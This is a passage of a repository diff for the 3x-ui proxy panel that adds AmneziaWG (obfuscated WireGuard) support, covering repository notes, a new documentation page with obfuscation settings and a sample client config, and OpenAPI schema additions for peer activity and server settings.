      frontend/src/pages/clients/ClientInfoModal.tsx
  32. 43 2
      frontend/src/pages/clients/ClientQrModal.tsx
  33. 14 0
      frontend/src/pages/clients/ClientsPage.tsx
  34. 110 0
      frontend/src/pages/clients/amneziawgConfig.ts
  35. 1 0
      frontend/src/pages/hosts/HostList.tsx
  36. 17 2
      frontend/src/pages/inbounds/InboundsPage.tsx
  37. 46 0
      frontend/src/pages/inbounds/form/InboundFormModal.tsx
  38. 216 0
      frontend/src/pages/inbounds/form/protocols/amneziawg.tsx
  39. 1 0
      frontend/src/pages/inbounds/form/protocols/index.ts
  40. 6 0
      frontend/src/pages/inbounds/form/protocols/wireguard.tsx
  41. 80 0
      frontend/src/pages/inbounds/info/InboundInfoModal.tsx
  42. 1 0
      frontend/src/pages/inbounds/list/helpers.ts
  43. 1 0
      frontend/src/pages/inbounds/list/types.ts
  44. 1 1
      frontend/src/pages/inbounds/list/useInboundColumns.tsx
  45. 57 1
      frontend/src/pages/inbounds/qr/QrCodeModal.tsx
  46. 1 0
      frontend/src/pages/inbounds/useInbounds.ts
  47. 17 0
      frontend/src/pages/index/AmneziaWGLogModal.css
  48. 254 0
      frontend/src/pages/index/AmneziaWGLogModal.tsx
  49. 6 0
      frontend/src/pages/index/IndexPage.tsx
  50. 13 0
      frontend/src/pages/index/OverviewActionBar.tsx
  51. 15 1
      frontend/src/pages/sub/SubPage.tsx
  52. 1 1
      frontend/src/schemas/api/inbound.ts
  53. 50 0
      frontend/src/schemas/client.ts
  54. 2 0
      frontend/src/schemas/primitives/protocol.ts
  55. 101 0
      frontend/src/schemas/protocols/inbound/amneziawg.ts
  56. 3 0
      frontend/src/schemas/protocols/inbound/index.ts
  57. 7 0
      frontend/src/schemas/protocols/inbound/wireguard.ts
  58. 2 0
      frontend/src/test/__snapshots__/inbound-defaults.test.ts.snap
  59. 1 0
      frontend/src/test/__snapshots__/inbound-full.test.ts.snap
  60. 1 0
      frontend/src/test/__snapshots__/protocols.test.ts.snap
  61. 92 0
      frontend/src/test/amneziawg-conf-injection.test.ts
  62. 115 0
      frontend/src/test/amneziawg-conf-parity.test.ts
  63. 90 0
      frontend/src/test/amneziawg-obfuscation.test.ts
  64. 34 0
      frontend/src/test/amneziawg-schema-cleared.test.ts
  65. 72 0
      frontend/src/test/client-tunnel-allowed-ips.test.tsx
  66. 190 0
      frontend/src/test/inbound-link.test.ts
  67. 46 0
      frontend/src/test/link-label.test.ts
  68. 2 1
      go.mod
  69. 2 0
      go.sum
  70. 16 1
      install.sh
  71. 164 0
      internal/amneziawg/instance.go
  72. 187 0
      internal/amneziawg/instance_test.go
  73. 337 0
      internal/amneziawg/params.go
  74. 384 0
      internal/amneziawg/params_test.go
  75. 142 0
      internal/amneziawg/portfwd.go
  76. 102 0
      internal/amneziawg/portfwd_test.go
  77. 245 0
      internal/amneziawg/types.go
  78. 274 0
      internal/amneziawgnet/device.go
  79. 550 0
      internal/amneziawgnet/device_test.go
  80. 140 0
      internal/amneziawgnet/diagnostics.go
  81. 196 0
      internal/amneziawgnet/diagnostics_test.go
  82. 43 0
      internal/amneziawgnet/forwarder.go
  83. 62 0
      internal/amneziawgnet/identity.go
  84. 343 0
      internal/amneziawgnet/manager.go
  85. 343 0
      internal/amneziawgnet/manager_test.go
  86. 245 0
      internal/amneziawgnet/netstack.go
  87. 88 0
      internal/amneziawgnet/netstack_test.go
  88. 343 0
      internal/amneziawgnet/portfwd.go
  89. 417 0
      internal/amneziawgnet/portfwd_test.go
  90. 147 0
      internal/amneziawgnet/portfwd_udp.go
  91. 389 0
      internal/amneziawgnet/relay.go
  92. 617 0
      internal/amneziawgnet/relay_e2e_test.go
  93. 49 0
      internal/amneziawgnet/socks_config.go
  94. 100 0
      internal/amneziawgnet/udp.go
  95. 156 0
      internal/amneziawgnet/udp_test.go
  96. 165 0
      internal/amneziawgnet/v6alias.go
  97. 277 0
      internal/amneziawgnet/v6alias_test.go
  98. 59 40
      internal/database/model/model.go
  99. 4 2
      internal/sub/json_service.go
  100. 134 1
      internal/sub/service.go

+ 8 - 1
CLAUDE.md

@@ -41,6 +41,13 @@ file locations when it can answer in one hop.
 - `internal/xray/geodata/` — streaming geosite/geoip `.dat` reader (cached
 - `internal/xray/geodata/` — streaming geosite/geoip `.dat` reader (cached
   category index + paged entries) and `geosite:`/`geoip:`/`ext:` token parsing.
   category index + paged entries) and `geosite:`/`geoip:`/`ext:` token parsing.
 - `internal/mtproto/` — MTProto inbounds via the bundled `mtg-multi` binary.
 - `internal/mtproto/` — MTProto inbounds via the bundled `mtg-multi` binary.
+- `internal/amneziawg/` — AmneziaWG protocol shape: instance/peer derivation
+  from an inbound, 3.1 obfuscation param generation + validation, port-forward
+  spec parsing.
+- `internal/amneziawgnet/` — embedded AmneziaWG runtime: amneziawg-go device
+  over a gVisor userspace netstack, per-inbound reconcile manager, TCP/UDP
+  relay into a loopback per-peer-auth SOCKS5 Xray inbound, port-forward
+  listeners, per-peer IPv6 egress aliases.
 - `internal/pia/` — PIA WireGuard protocol client (auth, signed server list, `/addKey`).
 - `internal/pia/` — PIA WireGuard protocol client (auth, signed server list, `/addKey`).
 - `internal/sub/` — subscription server (raw / JSON / Clash).
 - `internal/sub/` — subscription server (raw / JSON / Clash).
 - `internal/eventbus/` — in-process pub/sub (outbound/node health, xray.crash,
 - `internal/eventbus/` — in-process pub/sub (outbound/node health, xray.crash,
@@ -51,7 +58,7 @@ file locations when it can answer in one hop.
   - `controller/` — panel + REST API handlers; OpenAPI at /panel/api/openapi.json.
   - `controller/` — panel + REST API handlers; OpenAPI at /panel/api/openapi.json.
   - `service/` — business logic (InboundService, SettingService, XrayService,
   - `service/` — business logic (InboundService, SettingService, XrayService,
     node sync); subpackages tgbot/, email/, outbound/, panel/, integration/.
     node sync); subpackages tgbot/, email/, outbound/, panel/, integration/.
-  - `job/` — 17 cron jobs (traffic, fail2ban IP-limit, node heartbeat/sync, LDAP,
+  - `job/` — 18 cron jobs (traffic, fail2ban IP-limit, node heartbeat/sync, LDAP,
     CPU/memory watchdogs, …); full table in `docs/architecture.md` §5.4.
     CPU/memory watchdogs, …); full table in `docs/architecture.md` §5.4.
   - `middleware/`, `entity/`, `global/`, `session/` (CSRF), `network/`,
   - `middleware/`, `entity/`, `global/`, `session/` (CSRF), `network/`,
     `runtime/` (master/sub-node over mTLS), `websocket/`.
     `runtime/` (master/sub-node over mTLS), `websocket/`.

+ 4 - 0
docker-compose.yml

@@ -12,6 +12,10 @@ services:
     # with iptables, which needs NET_ADMIN. Without these caps a ban is logged
     # with iptables, which needs NET_ADMIN. Without these caps a ban is logged
     # and shown in fail2ban status but never actually applied. NET_RAW covers
     # and shown in fail2ban status but never actually applied. NET_RAW covers
     # ip6tables. If you disable Fail2ban, you can drop cap_add.
     # ip6tables. If you disable Fail2ban, you can drop cap_add.
+    #
+    # AmneziaWG works in this image: it runs embedded in the panel process
+    # (amneziawg-go over a gVisor userspace netstack), so it needs no kernel
+    # module and no host tooling. Publish its UDP listen port to use it.
     cap_add:
     cap_add:
       - NET_ADMIN
       - NET_ADMIN
       - NET_RAW
       - NET_RAW

+ 1 - 0
docs/architecture.md

@@ -373,6 +373,7 @@ All registered in `web.go` → `startTask()`. Each is a struct with a `Run()` me
 | `@every 5s`         | `node_traffic_sync_job`                                                                          | Pull + merge node traffic; push reconciliation                                  |
 | `@every 5s`         | `node_traffic_sync_job`                                                                          | Pull + merge node traffic; push reconciliation                                  |
 | `@every 10s`        | `check_client_ip_job`                                                                            | Enforce per-client IP limits                                                    |
 | `@every 10s`        | `check_client_ip_job`                                                                            | Enforce per-client IP limits                                                    |
 | `@every 10s`        | `mtproto_job`                                                                                    | Reconcile `mtg` sidecars against enabled MTProto inbounds                       |
 | `@every 10s`        | `mtproto_job`                                                                                    | Reconcile `mtg` sidecars against enabled MTProto inbounds                       |
+| `@every 10s`        | `amneziawg_job`                                                                                  | Reconcile embedded AmneziaWG interfaces against enabled local inbounds          |
 | `@every 5m`         | `outbound_subscription_job`                                                                      | Refresh outbound provider configs                                               |
 | `@every 5m`         | `outbound_subscription_job`                                                                      | Refresh outbound provider configs                                               |
 | `@every 10m`        | `clear_logs_job` (`PruneXrayLogsJob`)                                                            | Truncate Xray access/error logs once either exceeds 64 MiB                      |
 | `@every 10m`        | `clear_logs_job` (`PruneXrayLogsJob`)                                                            | Truncate Xray access/error logs once either exceeds 64 MiB                      |
 | `@hourly`           | `warp_ip_job`, `periodic_traffic_reset_job("hourly")`                                            | WARP IP rotation; traffic resets                                                |
 | `@hourly`           | `warp_ip_job`, `periodic_traffic_reset_job("hourly")`                                            | WARP IP rotation; traffic resets                                                |

+ 177 - 0
docs/content/docs/en/config/amneziawg.mdx

@@ -0,0 +1,177 @@
+---
+title: AmneziaWG
+description: Set up an AmneziaWG inbound in 3x-ui — obfuscation parameters, native IPv6, per-client port-forwarding, and routing client traffic through Xray.
+icon: Lock
+---
+
+**AmneziaWG** is a WireGuard fork that adds traffic obfuscation (junk packets,
+randomized padding, and rewritten protocol magic values) so the tunnel doesn't
+look like WireGuard to deep-packet inspection. It's a popular choice where
+plain WireGuard is blocked but a WireGuard-shaped tunnel with a different
+fingerprint gets through.
+
+<Callout type="info">
+  AmneziaWG runs **embedded in the panel process** — `amneziawg-go` over a
+  userspace (gVisor) network stack, not a kernel module. There is no DKMS
+  build, no Secure Boot conflict, and no host network/kernel access
+  requirement, so it works the same way inside a container as on bare
+  metal. Each peer's decapsulated traffic relays into its own loopback Xray
+  SOCKS5 inbound, so a peer's routing, sniffing, and per-client stats all
+  come from Xray's own machinery — the same as any other protocol's
+  inbound, not a separate code path.
+</Callout>
+
+## Key settings
+
+### Server / interface
+
+| Field                    | What it is                                                              |
+| ------------------------ | ------------------------------------------------------------------------ |
+| **Subnet**                | The tunnel's IPv4 subnet (e.g. `10.8.1.0/24`); each client gets an address from it. |
+| **MTU**                   | Interface MTU. Leave at the default unless you have a reason to change it. |
+| **DNS (primary/secondary)** | Seeded into downloadable client configs; the server's own interface doesn't need one. |
+| **External interface**    | The host NIC a peer's IPv6 address gets aliased onto when IPv6 is enabled (see below). Leave blank to auto-detect. |
+
+### Obfuscation (AmneziaWG 3.1)
+
+The same values must match on both ends of the tunnel, so the server stores
+them once and every client config inherits them. The panel generates a
+randomized set for you (with a **regenerate** button) — a static, reused
+value defeats the point, since DPI can fingerprint it over time.
+
+| Field        | What it is                                                                 |
+| ------------ | ---------------------------------------------------------------------------- |
+| **Jc**       | Number of junk packets sent before the handshake.                            |
+| **Jmin/Jmax** | Size range (bytes) for those junk packets. `Jmin` must not exceed `Jmax`.     |
+| **S1/S2**    | Padding added to the handshake init/response packets. `S1 + 56` must not equal `S2` — amneziawg-go rejects a value that would make both packets the same size. |
+| **S3**       | Cookie-reply padding, `0`-`64`.                                               |
+| **S4**       | Transport (data) packet padding, `0`-`32`.                                    |
+| **H1-H4**    | Magic header values that replace WireGuard's standard message-type bytes. Each is a single integer or a `low-high` range; `1`-`4` are reserved (real WireGuard message types) and must not be used. |
+| **I1-I5**    | Optional signature packets — random bytes prepended before the handshake, e.g. `<r 148>`. Generated sets fill `I1` only, matching Amnezia's own generator. |
+| **HeaderProtectionKey** | A base64 32-byte key for the 3.0 header-protection mechanism. Must match on every client config; blank disables it. |
+| **ContentPaddingAddition** | A single integer or `low-high` byte range of extra padding on content packets. Kept `<= 64` by the generator so a 1420-MTU tunnel doesn't fragment. |
+| **RekeyAfterTime / RekeyTimeout / RejectAfterTime / KeepaliveTimeout / MaxHandshakeAttempts** | Handshake-timing randomization: each is a `low-high` range (seconds; attempts for the last one) the peer samples from, so session timing stops being a WireGuard fingerprint. Every `RekeyAfterTime` value must stay below every `RejectAfterTime` value. Blank keeps the WireGuard default. |
+| **RandomTrailers** | Appends a random number of bytes to the end of every packet.                 |
+| **DisableCookies** | Never send cookie replies — removes a DPI-visible WireGuard message type, at the cost of WireGuard's handshake-flood mitigation. |
+
+<Callout type="info">
+  If you enter obfuscation values by hand instead of using the generated
+  defaults, keep `H1`-`H4` **non-overlapping** and above `4`, and double-check
+  `S1 + 56 != S2` — a bad value here keeps the embedded interface from
+  coming up at all.
+</Callout>
+
+<Callout type="warn">
+  The 3.1 parameters need a **3.1-capable client**. Clients must run a
+  3.1-capable Amnezia app; blanking the 3.1 fields renders a config older
+  clients still understand. There is no host-side version requirement —
+  the panel ships its own pinned `amneziawg-go`, not whatever happens to be
+  installed on the system.
+</Callout>
+
+## Set it up in the panel
+
+<Steps>
+
+<Step>
+### Add an inbound
+
+Add a new inbound, choose protocol **AmneziaWG**, and set the port and tunnel
+subnet.
+</Step>
+
+<Step>
+### Leave obfuscation on defaults (or regenerate)
+
+The panel fills in a randomized, kernel-valid obfuscation set automatically.
+Use **Regenerate** if you want a fresh one; there's no need to hand-edit these
+unless you have a specific reason to.
+</Step>
+
+<Step>
+### Add a client
+
+Each client gets its own keypair and tunnel address. Download the client's
+`.conf` or copy its share link (`vpn://…`, importable by the official
+AmneziaWG/AmneziaVPN apps) from the client list.
+</Step>
+
+<Step>
+### Optional: enable IPv6
+
+Turning on IPv6 allocates an IPv6 address alongside each client's IPv4 one
+from the configured IPv6 subnet. The panel aliases that address onto the
+external interface's host NIC so outbound connections carry the peer's own
+distinct public IPv6 identity — no NAT66 needed.
+</Step>
+
+<Step>
+### Optional: forward ports to a client
+
+Set a client's forwarded ports (e.g. `80, 443, 8000-8100`) to open a real
+listener on the host that relays that traffic straight to the client's
+tunnel address — useful for a client that needs to expose a service through
+the server.
+</Step>
+
+</Steps>
+
+Every AmneziaWG inbound's traffic already goes through Xray — each peer
+relays into its own loopback SOCKS5 inbound, tagged with the AmneziaWG
+inbound's own tag, so it shows up as a normal source on the
+[Routing](/docs/operations/outbounds-routing) page like any other protocol's
+inbound. There is no separate toggle for this: unlike a kernel tunnel,
+there's no other way for a peer's traffic to reach the internet once it's
+decapsulated.
+
+## What the configuration looks like
+
+A client's downloadable `.conf` (also what the `vpn://` share link encodes,
+base64url'd) looks like this:
+
+```ini title="client .conf"
+[Interface]
+PrivateKey = <client private key>
+Address = 10.8.1.2/32
+DNS = 8.8.8.8, 8.8.4.4
+Jc = 4
+Jmin = 65
+Jmax = 220
+S1 = 87
+S2 = 44
+S3 = 21
+S4 = 9
+H1 = 462980921-463150218
+H2 = 1177681572-1177787900
+H3 = 1907413509-1907903969
+H4 = 2029908558-2030313135
+I1 = <r 148>
+HeaderProtectionKey = 8Iu83eHDA3fMKKSGaEsVW9Ycd2lYYzc0MYlk1jJTvE4=
+ContentPaddingAddition = 17-49
+RekeyAfterTime = 111-139
+RekeyTimeout = 4-7
+RejectAfterTime = 187-251
+KeepaliveTimeout = 9-14
+MaxHandshakeAttempts = 19-36
+RandomTrailers = on
+DisableCookies = on
+
+# my-client
+[Peer]
+PublicKey = <server public key>
+AllowedIPs = 0.0.0.0/0, ::/0
+Endpoint = your-server:443
+PersistentKeepalive = 25
+```
+
+## Not yet covered
+
+<Callout type="info">
+
+- **Multi-node (sub-nodes)** and **Telegram bot** — AmneziaWG inbounds haven't
+  been exercised through those paths yet. They likely work (the reconciler
+  runs the same way regardless of how the panel itself is deployed), but
+  that's not the same as a confirmed, tested claim — treat it as unverified
+  rather than assume it either way until someone reports back.
+
+</Callout>

+ 1 - 0
docs/content/docs/en/config/inbounds.mdx

@@ -58,6 +58,7 @@ The inbound editor accepts these protocols:
 | **Trojan**             | TLS-based; supports XTLS and fallbacks.                                   |
 | **Trojan**             | TLS-based; supports XTLS and fallbacks.                                   |
 | **Shadowsocks**        | Includes Shadowsocks-2022 (`2022-blake3-*`) ciphers.                      |
 | **Shadowsocks**        | Includes Shadowsocks-2022 (`2022-blake3-*`) ciphers.                      |
 | **WireGuard**          | Modern tunnel.                                                           |
 | **WireGuard**          | Modern tunnel.                                                           |
+| **AmneziaWG**          | Obfuscated WireGuard fork, embedded in the panel process. See [AmneziaWG](/docs/config/amneziawg). |
 | **Hysteria2**          | Selected as `hysteria`; the panel emits `hysteria2://` links.             |
 | **Hysteria2**          | Selected as `hysteria`; the panel emits `hysteria2://` links.             |
 | **HTTP**               | HTTP proxy.                                                             |
 | **HTTP**               | HTTP proxy.                                                             |
 | **Mixed (SOCKS/HTTP)** | A combined SOCKS + HTTP listener.                                        |
 | **Mixed (SOCKS/HTTP)** | A combined SOCKS + HTTP listener.                                        |

+ 1 - 0
docs/content/docs/en/config/meta.json

@@ -6,6 +6,7 @@
     "ssl-certificates",
     "ssl-certificates",
     "inbounds",
     "inbounds",
     "reality",
     "reality",
+    "amneziawg",
     "transports",
     "transports",
     "clients",
     "clients",
     "subscription",
     "subscription",

Diff do ficheiro suprimidas por serem muito extensas
+ 7 - 0
docs/content/docs/en/reference/api/server.mdx


+ 1 - 1
docs/content/docs/fa/reference/api/hosts.mdx

@@ -102,7 +102,7 @@ export default function Layout(props) {
   return (
   return (
     <>
     <>
       {props.children}
       {props.children}
-      <Comp document="./public/openapi.json" webhooks={[]} operations={[{"path":"/panel/api/hosts/list","method":"get"},{"path":"/panel/api/hosts/get/{id}","method":"get"},{"path":"/panel/api/hosts/byInbound/{inboundId}","method":"get"},{"path":"/panel/api/hosts/tags","method":"get"},{"path":"/panel/api/hosts/add","method":"post"},{"path":"/panel/api/hosts/update/{id}","method":"post"},{"path":"/panel/api/hosts/del/{id}","method":"post"},{"path":"/panel/api/hosts/setEnable/{id}","method":"post"},{"path":"/panel/api/hosts/reorder","method":"post"},{"path":"/panel/api/hosts/bulk/setEnable","method":"post"},{"path":"/panel/api/hosts/bulk/del","method":"post"}]} showTitle />
+      <Comp document="./public/openapi.json" webhooks={[]} operations={[{"path":"/panel/api/hosts/list","method":"get"},{"path":"/panel/api/hosts/get/{groupId}","method":"get"},{"path":"/panel/api/hosts/byInbound/{inboundId}","method":"get"},{"path":"/panel/api/hosts/tags","method":"get"},{"path":"/panel/api/hosts/add","method":"post"},{"path":"/panel/api/hosts/update/{groupId}","method":"post"},{"path":"/panel/api/hosts/del/{groupId}","method":"post"},{"path":"/panel/api/hosts/setEnable/{groupId}","method":"post"},{"path":"/panel/api/hosts/reorder","method":"post"},{"path":"/panel/api/hosts/bulk/setEnable","method":"post"},{"path":"/panel/api/hosts/bulk/del","method":"post"}]} showTitle />
     </>
     </>
   );
   );
 }
 }

+ 1 - 1
docs/content/docs/ru/reference/api/hosts.mdx

@@ -103,7 +103,7 @@ export default function Layout(props) {
   return (
   return (
     <>
     <>
       {props.children}
       {props.children}
-      <Comp document="./public/openapi.json" webhooks={[]} operations={[{"path":"/panel/api/hosts/list","method":"get"},{"path":"/panel/api/hosts/get/{id}","method":"get"},{"path":"/panel/api/hosts/byInbound/{inboundId}","method":"get"},{"path":"/panel/api/hosts/tags","method":"get"},{"path":"/panel/api/hosts/add","method":"post"},{"path":"/panel/api/hosts/update/{id}","method":"post"},{"path":"/panel/api/hosts/del/{id}","method":"post"},{"path":"/panel/api/hosts/setEnable/{id}","method":"post"},{"path":"/panel/api/hosts/reorder","method":"post"},{"path":"/panel/api/hosts/bulk/setEnable","method":"post"},{"path":"/panel/api/hosts/bulk/del","method":"post"}]} showTitle />
+      <Comp document="./public/openapi.json" webhooks={[]} operations={[{"path":"/panel/api/hosts/list","method":"get"},{"path":"/panel/api/hosts/get/{groupId}","method":"get"},{"path":"/panel/api/hosts/byInbound/{inboundId}","method":"get"},{"path":"/panel/api/hosts/tags","method":"get"},{"path":"/panel/api/hosts/add","method":"post"},{"path":"/panel/api/hosts/update/{groupId}","method":"post"},{"path":"/panel/api/hosts/del/{groupId}","method":"post"},{"path":"/panel/api/hosts/setEnable/{groupId}","method":"post"},{"path":"/panel/api/hosts/reorder","method":"post"},{"path":"/panel/api/hosts/bulk/setEnable","method":"post"},{"path":"/panel/api/hosts/bulk/del","method":"post"}]} showTitle />
     </>
     </>
   );
   );
 }
 }

+ 1 - 1
docs/content/docs/zh/reference/api/hosts.mdx

@@ -102,7 +102,7 @@ export default function Layout(props) {
   return (
   return (
     <>
     <>
       {props.children}
       {props.children}
-      <Comp document="./public/openapi.json" webhooks={[]} operations={[{"path":"/panel/api/hosts/list","method":"get"},{"path":"/panel/api/hosts/get/{id}","method":"get"},{"path":"/panel/api/hosts/byInbound/{inboundId}","method":"get"},{"path":"/panel/api/hosts/tags","method":"get"},{"path":"/panel/api/hosts/add","method":"post"},{"path":"/panel/api/hosts/update/{id}","method":"post"},{"path":"/panel/api/hosts/del/{id}","method":"post"},{"path":"/panel/api/hosts/setEnable/{id}","method":"post"},{"path":"/panel/api/hosts/reorder","method":"post"},{"path":"/panel/api/hosts/bulk/setEnable","method":"post"},{"path":"/panel/api/hosts/bulk/del","method":"post"}]} showTitle />
+      <Comp document="./public/openapi.json" webhooks={[]} operations={[{"path":"/panel/api/hosts/list","method":"get"},{"path":"/panel/api/hosts/get/{groupId}","method":"get"},{"path":"/panel/api/hosts/byInbound/{inboundId}","method":"get"},{"path":"/panel/api/hosts/tags","method":"get"},{"path":"/panel/api/hosts/add","method":"post"},{"path":"/panel/api/hosts/update/{groupId}","method":"post"},{"path":"/panel/api/hosts/del/{groupId}","method":"post"},{"path":"/panel/api/hosts/setEnable/{groupId}","method":"post"},{"path":"/panel/api/hosts/reorder","method":"post"},{"path":"/panel/api/hosts/bulk/setEnable","method":"post"},{"path":"/panel/api/hosts/bulk/del","method":"post"}]} showTitle />
     </>
     </>
   );
   );
 }
 }

+ 342 - 1
docs/public/openapi.json

@@ -970,6 +970,36 @@
         ],
         ],
         "type": "object"
         "type": "object"
       },
       },
+      "AmneziaWGLogs": {
+        "description": "AmneziaWGLogs is what the overview's AmneziaWG log view renders: the live\nper-peer activity of every running embedded interface, plus the panel's\nown recent AmneziaWG lifecycle log lines that explain a peer being absent\nfrom Peers at all.",
+        "properties": {
+          "events": {
+            "example": [
+              "2025/01/01 12:00:00 amneziawg: started interface awg1 for inbound 1"
+            ],
+            "items": {
+              "type": "string"
+            },
+            "type": "array"
+          },
+          "peers": {
+            "items": {
+              "$ref": "#/components/schemas/PeerActivity"
+            },
+            "type": "array"
+          },
+          "running": {
+            "example": true,
+            "type": "boolean"
+          }
+        },
+        "required": [
+          "events",
+          "peers",
+          "running"
+        ],
+        "type": "object"
+      },
       "ApiToken": {
       "ApiToken": {
         "properties": {
         "properties": {
           "createdAt": {
           "createdAt": {
@@ -1064,6 +1094,16 @@
             },
             },
             "type": "array"
             "type": "array"
           },
           },
+          "allowedIPsByInbound": {
+            "additionalProperties": {
+              "items": {
+                "type": "string"
+              },
+              "type": "array"
+            },
+            "description": "AllowedIPsByInbound optionally overrides AllowedIPs on a per-inbound\nbasis, keyed by inbound id. Lets one identity attached to both\nWireGuard and AmneziaWG carry two genuinely different addresses in a\nsingle Create/Update call instead of the shared AllowedIPs field\nbeing broadcast to every attached tunnel inbound. Absent/unset for a\ngiven inbound id falls back to the shared AllowedIPs exactly as\nbefore -- fully backward compatible for callers that never set this.",
+            "type": "object"
+          },
           "auth": {
           "auth": {
             "description": "Auth password (Hysteria)",
             "description": "Auth password (Hysteria)",
             "type": "string"
             "type": "string"
@@ -1094,6 +1134,10 @@
             "description": "Flow control (XTLS)",
             "description": "Flow control (XTLS)",
             "type": "string"
             "type": "string"
           },
           },
+          "forwardedPorts": {
+            "description": "AmneziaWG per-client port-forwarding spec, e.g. \"80,443,8000-8100\"",
+            "type": "string"
+          },
           "group": {
           "group": {
             "description": "Logical grouping label",
             "description": "Logical grouping label",
             "type": "string"
             "type": "string"
@@ -1258,6 +1302,9 @@
           "flow": {
           "flow": {
             "type": "string"
             "type": "string"
           },
           },
+          "forwardedPorts": {
+            "type": "string"
+          },
           "group": {
           "group": {
             "type": "string"
             "type": "string"
           },
           },
@@ -1336,6 +1383,7 @@
           "enable",
           "enable",
           "expiryTime",
           "expiryTime",
           "flow",
           "flow",
+          "forwardedPorts",
           "group",
           "group",
           "id",
           "id",
           "keepAlive",
           "keepAlive",
@@ -2079,7 +2127,8 @@
               "mixed",
               "mixed",
               "tunnel",
               "tunnel",
               "tun",
               "tun",
-              "mtproto"
+              "mtproto",
+              "amneziawg"
             ],
             ],
             "example": "vless",
             "example": "vless",
             "type": "string"
             "type": "string"
@@ -2231,6 +2280,15 @@
       },
       },
       "InboundOption": {
       "InboundOption": {
         "properties": {
         "properties": {
+          "awgServer": {
+            "allOf": [
+              {
+                "$ref": "#/components/schemas/ServerSettings"
+              }
+            ],
+            "description": "AwgServer carries the full AmneziaWG server block (keys, subnet,\nobfuscation params) so the clients page can render a downloadable\nper-client .conf without a second round trip.",
+            "nullable": true
+          },
           "enable": {
           "enable": {
             "example": true,
             "example": true,
             "type": "boolean"
             "type": "boolean"
@@ -2913,6 +2971,68 @@
         ],
         ],
         "type": "object"
         "type": "object"
       },
       },
+      "PeerActivity": {
+        "description": "PeerActivity is one peer's live embedded-Device-reported state, the\ncounterpart of an Xray access-log entry: a tunnel logs no requests, only\nhandshakes and bytes.",
+        "properties": {
+          "allowedIPs": {
+            "example": "10.8.1.2/32",
+            "type": "string"
+          },
+          "down": {
+            "example": 4194304,
+            "format": "int64",
+            "type": "integer"
+          },
+          "email": {
+            "example": "[email protected]",
+            "type": "string"
+          },
+          "endpoint": {
+            "example": "203.0.113.9:51820",
+            "type": "string"
+          },
+          "handshake": {
+            "description": "Handshake is unix milliseconds, 0 when the peer has never connected.",
+            "example": 1735732800000,
+            "format": "int64",
+            "type": "integer"
+          },
+          "inboundId": {
+            "example": 1,
+            "type": "integer"
+          },
+          "interface": {
+            "example": "awg1",
+            "type": "string"
+          },
+          "online": {
+            "example": true,
+            "type": "boolean"
+          },
+          "tag": {
+            "example": "inbound-51820",
+            "type": "string"
+          },
+          "up": {
+            "example": 1048576,
+            "format": "int64",
+            "type": "integer"
+          }
+        },
+        "required": [
+          "allowedIPs",
+          "down",
+          "email",
+          "endpoint",
+          "handshake",
+          "inboundId",
+          "interface",
+          "online",
+          "tag",
+          "up"
+        ],
+        "type": "object"
+      },
       "ProbeResultUI": {
       "ProbeResultUI": {
         "properties": {
         "properties": {
           "cpuPct": {
           "cpuPct": {
@@ -3079,6 +3199,150 @@
         ],
         ],
         "type": "object"
         "type": "object"
       },
       },
+      "ServerSettings": {
+        "description": "ServerSettings is the \"server\" block of an AmneziaWG inbound's Settings\nJSON: the interface-level configuration shared by every client/peer. The\nlisten port is deliberately not duplicated here — it lives on the inbound\nrow itself (Inbound.Port), like every other protocol.",
+        "properties": {
+          "contentPaddingAddition": {
+            "type": "string"
+          },
+          "disableCookies": {
+            "type": "boolean"
+          },
+          "externalInterface": {
+            "description": "ExternalInterface, IPv6Enabled, and IPv6ExternalInterface are live\nagain as of Phase 3.5 -- see the matching fields on Instance for what\nthey gate (internal/amneziawgnet's IPv6-address-alias mechanism).\nIPv6Subnet was never actually vestigial either: InstanceFromInbound\nalready consumes it (via serverAddressV6) to build the server's own\ntunnel address, same as always. Only RouteThroughXray, below, remains\ngenuinely vestigial as of the hard cutover to the embedded path\n(internal/amneziawgnet) -- read from existing stored settings for\nbackward compatibility, but not acted on by anything.",
+            "type": "string"
+          },
+          "h1": {
+            "type": "string"
+          },
+          "h2": {
+            "type": "string"
+          },
+          "h3": {
+            "type": "string"
+          },
+          "h4": {
+            "type": "string"
+          },
+          "headerProtectionKey": {
+            "description": "HeaderProtectionKey and ContentPaddingAddition are AmneziaWG 3.0\nfields, flat and top-level for the same tools/openapigen reason as\nthe block above; Obfuscation() below folds them back into\nObfuscation31's own identically named fields.\nHeaderProtectionKey is a base64 32-byte key; empty (the default)\ndisables AWG 3.0 header protection. A non-empty value requires\nevery one of S1-S4 above to be >= 12 -- ValidateObfuscation\nenforces this at save time, not just at IpcSet time.\nContentPaddingAddition is a \"low-high\" range or bare integer, the\nsame grammar and uint32 cap as H1-H4.",
+            "type": "string"
+          },
+          "i1": {
+            "type": "string"
+          },
+          "i2": {
+            "type": "string"
+          },
+          "i3": {
+            "type": "string"
+          },
+          "i4": {
+            "type": "string"
+          },
+          "i5": {
+            "type": "string"
+          },
+          "ipv6Enabled": {
+            "type": "boolean"
+          },
+          "ipv6ExternalInterface": {
+            "type": "string"
+          },
+          "ipv6Subnet": {
+            "type": "string"
+          },
+          "jc": {
+            "description": "Obfuscation31's fields, repeated flat (not embedded) rather than\nnested under their own key: encoding/json would happily inline an\nembedded Obfuscation31 the same way, but the frontend's Go->Zod/TS\ngenerator (tools/openapigen) does not — it emits a genuinely nested\n`obfuscation31` object, which would silently diverge from the real\nwire JSON. See Obfuscation() below for the manager-facing conversion.",
+            "type": "integer"
+          },
+          "jmax": {
+            "type": "integer"
+          },
+          "jmin": {
+            "type": "integer"
+          },
+          "keepaliveTimeout": {
+            "type": "string"
+          },
+          "maxHandshakeAttempts": {
+            "type": "string"
+          },
+          "mtu": {
+            "type": "integer"
+          },
+          "primaryDns": {
+            "description": "PrimaryDNS/SecondaryDNS seed client configs' DNS line. Blank is\nmeaningful, so no omitempty: a dropped key resurrects frontend defaults.",
+            "type": "string"
+          },
+          "privateKey": {
+            "type": "string"
+          },
+          "publicKey": {
+            "type": "string"
+          },
+          "randomTrailers": {
+            "description": "RandomTrailers/DisableCookies mirror Instance's identically named\nAmneziaWG 3.1 fields -- see that type's own doc comment for the real\nprotocol/interop details. Both real bool fields (not omitempty):\nbuildUAPIConfig always emits both lines explicitly so the\nreconfigure-in-place diff correctly notices a true->false edit, not\njust false->true.",
+            "type": "boolean"
+          },
+          "rejectAfterTime": {
+            "type": "string"
+          },
+          "rekeyAfterTime": {
